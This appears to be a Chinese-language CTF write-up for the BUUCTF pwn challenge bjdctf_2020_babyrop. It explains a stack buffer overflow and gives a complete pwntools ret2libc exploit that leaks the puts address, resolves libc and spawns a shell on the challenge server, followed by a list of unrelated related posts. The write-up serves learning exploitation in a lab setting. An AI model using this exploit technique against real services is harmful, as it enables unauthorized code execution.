buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop
- 1.checksec
- 2.IDA分析
- ropper
- 3.exp
1.checksec
- 运行一下
2.IDA分析
- 这里调用了vuln函数
- 我们接着看一下vuln函数
- buf只有32,但是我们可以写64
- 很明显的溢出
- 本程序没开PIE
- 没开canary
- 再看一下有没有后门函数
- 没有"/bin/sh"
- 没有system()函数
- 那么就要通过泄露函数地址来计算libc的基地址了
- 64位程序在传参的时候需要用到寄存器
- 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
- 当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
- 设置rdi寄存器的指令
ropper
3.exp
from pwn import *
from LibcSearcher import *r = remote('node3.buuoj.cn',28514)
elf = ELF('./bjdctf_2020_babyrop')
context.log_level = 'debug'main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400733
# 这个题目的输出函数是puts()所以传参只需要传一个
payload = b'a' * (0x20+8) + p64(pop_rdi) + p64(puts_got) +p64(puts_plt) + p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
#计算system和bin/sh的实际地址
offset = puts_addr-libc.dump('puts')
system = offset+libc.dump('system')
bin_sh = offset+libc.dump('str_bin_sh')payload=b'a' * (0x20+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)r.interactive()
buuctf pwn bjdctf_2020_babyrop相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- Extjs 打包 failed to find any files
- 【转】启动 Eclipse 弹出“Failed to load the JNI shared library jvm.dll”错误的解决方法!...
- UGUI的优点新UI系统
- 用matlab绘制抛物线y的x平方,我刚刚学习MATLAB,想画一下(x^2+y^2-1)^3=x^2*y^3这个曲线的图像,该怎么画呢,谢谢大家了。...
- java如何调用系统保存框_java使用poi实现excel导出之后如何弹出保存提示框
- 支付宝支付-提现到个人支付宝
- MySQL Table--独立表空间
- RISC-V,芯片中的网红战斗机,究竟是个什么鬼
- php 5.6.27 在某些机器上正常,thinkphp5开发的网站出现”No input file specified”(php版本5.6.27)...
- android安卓源码海量项目合集大全打包6000套-2续
- 软考初级程序员---题目(六)
- 安装VS2010 SP1与ASP.NET MVC4详细步骤
- C# 使用OpenXML创建PPT表格
- 【程序设计与实践】实验四:自动寄存柜(C语言)
- 治疗失眠的中医食疗方
- linux 挂载fat32格式u盘
- 云更新服务器更新不了最新游戏,成都领沃_云更新官方网站
- 六月集训(第17天) —— 广度优先搜索
- pca , nmds , pcoa 图添加分组的椭圆
- Zigbee网络架构
热门文章
- ChatGPT专业应用:撰写英文SEO文章
- Linux系统中文件被删除后的恢复方法(ext4)
- 有序单链表转BST树+时间复杂度要求O(n)
- 小程序与MySQL数据库的交互_小程序是如何与数据库交互的?
- 【AD封装】KF2EDGK系列2.54接线端子(带3D)
- 还在被大妈灵魂拷问?使用Python轻松完成垃圾分类!
- 雪松控股如何通过一个“数观平台”支持集团全业务的数据化运营?
- python播放视频代码_Python中操作各种多媒体,视频、音频到图片的代码详解
- 资本爱上智能健身镜?
- 【可视化】Power Map实现大数据可视化操作